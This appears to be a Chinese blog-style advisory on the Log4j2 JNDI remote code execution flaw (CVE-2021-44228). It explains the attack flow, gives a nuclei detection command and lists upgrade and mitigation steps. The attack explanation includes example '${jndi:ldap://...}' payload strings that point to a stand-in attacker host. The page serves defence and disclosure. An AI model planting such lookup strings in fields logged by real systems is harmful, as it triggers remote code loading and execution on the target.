news 2026/9/10 4:26:51

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

CVSS评分:10.0(满分)

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

  • 1. 漏洞原理
  • 2. 漏洞危害
  • 3. 漏洞修复
    • 升级版本修复
    • 缓释方案

1. 漏洞原理

Apache Log4j2 作为广泛使用的 Java 日志库,支持一种叫做Lookup(查找替换)的机制,用于在日志消息中动态注入变量或外部内容。

例如:

${jndi:ldap://malicious-server/exploit}

这是一个 JNDI Lookup 表达式,它让 Log4j 去调用 Java Naming and Directory Interface(JNDI) 去解析某个 URL。

然而,在受到漏洞影响的 Log4j 版本中,JNDI 查找可以从 LDAP、RMI、DNS 等远程服务器获取并执行代码。攻击 step:

  1. 攻击者构造 payload:例如 HTTP User‑Agent 或其他可被日志记录的字段包含${jndi:ldap://attacker.com/malicious}
  2. 目标应用接收请求
  3. Log4j 记录日志消息,发现字符串中的 JNDI Lookup
  4. JNDI 启动并向攻击者控制的服务器发起 LDAP(其他协议也可以)请求
  5. 攻击者服务器返回一个恶意 Java 类
  6. 恶意类被执行,导致任意代码执行(RCE)

检测方法(需要机器有出网的权限):

nuclei -u http://xxx.xxx.xxx/ -t nuclei-templates/http/cves/2021/CVE-2021-44228.yaml

2. 漏洞危害

微步标记,极度高危,应立刻修复:

3. 漏洞修复

升级版本修复

官方已发布修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

升级 Log4j 到修补版本:

  • 升级到 Log4j 2.16.0 或更高(2.15.0可能不稳定)
  • 更高版本(如 2.17.x)已彻底禁用了可能的远程 JNDI Lookup。

缓释方案

1、设置 JVM 系统变量或环境变量:

-Dlog4j2.formatMsgNoLookups=true

或者:

exportLOG4J_FORMAT_MSG_NO_LOOKUPS=true

这将阻止 Log4j 解析 Lookup 表达式,从而降低攻击面。

2、移除 JndiLookup 类

在无法升级时,可以手动从 JAR 包中移除 JNDI 代码:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这能阻止 JNDI Lookup 类被加载。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/10 0:06:16

多协议网络库设计

1、非修改序列算法这些算法不会改变它们所操作的容器中的元素。1.1 find 和 find_iffind(begin, end, value):查找第一个等于 value 的元素,返回迭代器(未找到返回 end)。find_if(begin, end, predicate):查找第一个满…

作者头像 李华
网站建设 2026/9/4 5:32:51

.NET 10 与智能体时代的架构演进:以 File-Based Apps 为核心的 C# 生态重塑

在计算技术的发展史上,编程语言的演进往往是为了适应生产力的核心变革。从早期的机器指令到高级语言,再到当代以云原生为中心的框架,每一代技术都在试图降低人类与机器之间的沟通壁垒。然而,随着.NET 10 的发布,微软通…

作者头像 李华
网站建设 2026/9/8 13:15:08

UVM-override与sequence的多态特性使用

Exploiting Sequence Polymorphism 上述示例展示了,UVM中利用序列多态性(Sequence Polymorphism)来实现测试场景随机化与自动化的高级技巧,其核心思想、实现方法及优势如下: 核心思想 通过定义一个通用的序列基类(图中为 bus_seq_base),让所有具体测试序列(如 rw_in…

作者头像 李华
网站建设 2026/9/8 3:52:00

块压缩解码实战:ETC1/ETC2详解

你可以把 GPU 纹理压缩想象成一件非常“抠门但聪明”的事: 手机显存就那么点,带宽也紧张,GPU 还得每秒采样几十亿次纹理。于是工程师们想了个办法——“别把每个像素老老实实存 RGBA 四个通道了,太费。 咱们一小块一小块地存&…

作者头像 李华
网站建设 2026/8/21 23:03:25

基于SpringBoot的校园一卡通系统毕设

博主介绍:✌ 专注于Java,python,✌关注✌私信我✌具体的问题,我会尽力帮助你。一、研究目的本研究旨在设计并实现一个基于SpringBoot框架的校园一卡通系统,以满足现代校园对高效、便捷、安全的一卡通服务需求。具体研究目的如下: …

作者头像 李华